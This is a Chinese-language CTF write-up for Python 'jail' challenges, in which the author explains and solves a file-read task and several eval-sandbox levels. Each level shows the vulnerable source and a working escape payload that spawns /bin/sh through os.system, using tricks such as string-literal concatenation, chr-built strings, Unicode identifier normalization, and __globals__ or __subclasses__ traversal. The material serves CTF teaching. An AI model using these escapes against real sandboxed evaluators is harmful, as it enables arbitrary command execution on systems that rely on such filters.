# Jails Writeups
感觉这次的 jails 出的不是很有水平,不如去年空白佬出的那套有意义,先给大家道个歉。
## reader
任意文件读,题目源码如下
import re
fd = open ( " /tmp/therealflag " , " r " )
the_real_flag = fd . read (). strip () # u can't catch me, i am ________
os . system ( " rm /tmp/therealflag " )
def chall ( input , print ):
filename = input ( " 🧐 What file you want to view? " )
if re . match ( r " . * [ flag ] {3,} . * " , filename ):
print ( " 😡 Access denied, try again " )
else :
print ( f "👍 Here is your file: { filename } " , f " { open ( filename , ' r ' ). read () } " )
## level 1
简单的关键词绕过,题目源码如下
import re
def my_safe_eval ( code ):
if re . match ( r " os | system | [ \\\+ ]" , code ):
return " Hacked By Rx "
return eval ( code )
def chall ( input , print ):
code : str = input ( " Give me your payload: " )
if len ( code ) > 100 :
print ( " Too long code, Sry! " )
return
value = my_safe_eval ( code )
print ( value )
只 ban 了 os
和 system
\
+
,但是可以用 python 的特性绕过,用我们小学二年级学过的 python 知识,可以知道 python 的字符串拼接可以不用写加号,直接将两个字符串字面量放在一起就行,如下:
assert " py "" thon " == " python "
所以直接 getattr(__import__("o""s"),"sys""tem")("/bin/sh")
即可获得 shell
## level 2
还是简单的绕过,题目源码如下
import re
def chall ( input , print ):
code = input ( " Give me your code: " )
if re . search ( r '[ "\'0-8bd ] | [ ^ \x00-\xff ]' , code ):
print ( " Nope " )
return
eval ( code )
坏了,我在写 wp 的时候已经忘了我当时想考什么了
看 hint 可以知道这题 ban 了所有非 ASCII 字符和 "
'
b
d
以及 0
- 8
的数字
因为没有引号,所以没法输入字符串...吗?其实还是可以的,我们可以利用 chr
来获取单个字符,用 str().join(chr(i) for i in [...])
来获取字符串(x
我们先导入 os
模块, os
=> [111, 115]
=> [999//9, 999//9 + len(str(9999))]
,因此可以用 __import__(str().join(chr(i) for i in [999//9, 999//9 + len(str(9999))])).system
来拿到 system
函数
同理 sh
=> [105, 104]
=> [999 // 9 + len(str(9999)), 999 // 9 - len(str(9999999))]
,最终得到 payload 如下:
__import__ ( str (). join ( chr ( i ) for i in [ 999 // 9 , 999 // 9 + len ( str ( 9999 ))])). system ( str (). join ( chr ( i ) for i in [ 999 // 9 + len ( str ( 9999 )), 999 // 9 - len ( str ( 9999999 ))]))
这题出的实在没水平,红豆泥私密马赛
## level 2.5
在 level 2 的基础上额外 ban 了一些字符,题目源码如下
import re
def chall ( input , print ):
code = input ( " Give me your code: " )
if re . search ( r '[ "\'0-8bdhosxy_ ] | [ ^ \x00-\xff ]' , code ):
print ( " Nope " )
return
if len ( code ) > 15 :
print ( " Too long " )
return
eval ( code )
从 hint 拿到屏蔽的字符,注意到 注意力惊人 , e
v
a
l
i
n
p
u
t
这几个字符没有被屏蔽,所以直接构造 payload eval(input())
就拿到了一个可用的 eval
,再 __import__("os").system("/bin/sh")
即可获得 shell~~(其实这个解对 level 2 也是可以直接用的,甚至可能更好想)~~
## level 3
用 unicode 绕过,题目源码如下
import re
def chall ( input , print ):
while True :
code = input ( " Give me your code: " )
if re . search ( r "[ A-z0-9 ]" , code ):
print ( " Nope " )
return
eval ( code )
可以看看这个 PEP 3131
该PEP提议在Python标识符中引入对非ASCII字符的支持,具体修改包括所有标识符在解析时将被转换为NFKC标准化形式,并基于此进行比较。因此虽然正则表达式屏蔽了所有 ASCII 字母,但是可以用对应的 Unicode 字符进行绕过。
一个简单的转换脚本如下:
def unicode_bypass ( i ):
return "" . join ( chr ( ord ( x ) + 119789 ) if ord ( " a " ) <= ord ( x ) <= ord ( " z " ) else x for x in i )
unicode_bypass ( " eval(input()) " )
即可得到一个可用的 eval
,直接 __import__("os").system("/bin/sh")
即可获得 shell
## level 4
简单的原型链绕过,题目源码如下
def chall ( input , print ):
print ( """ Hint: eval(code, {"__builtins__": {"eval": lambda *x: print("sry, no eval for u")},},{},) """ )
code = input ( " Give me your code: " )
eval (
code ,
{
" __builtins__ " : { " eval " : lambda * x : print ( " sry, no eval for u " )},
},
{},
)
预期的解法是利用 eval
,因为这个 eval
是被覆盖了的函数,所以不是 builtin_function_or_method
,而是 function
,因此可以直接从这个 eval
中拿到函数定义时的 __globals__
,并从这个 __globals__
中还原 __builtins__
,完整 payload 如下
eval . __globals__ [ " __builtins__ " ]. __spec__ . loader (). load_module ( " os " ). system ( " /bin/sh " )
当然本题也存在通解
[
x . __init__ . __globals__
for x in "" . __class__ . __base__ . __subclasses__ ()
if x . __name__ == " _wrap_close "
][ 0 ][ " system " ]( " /bin/sh " )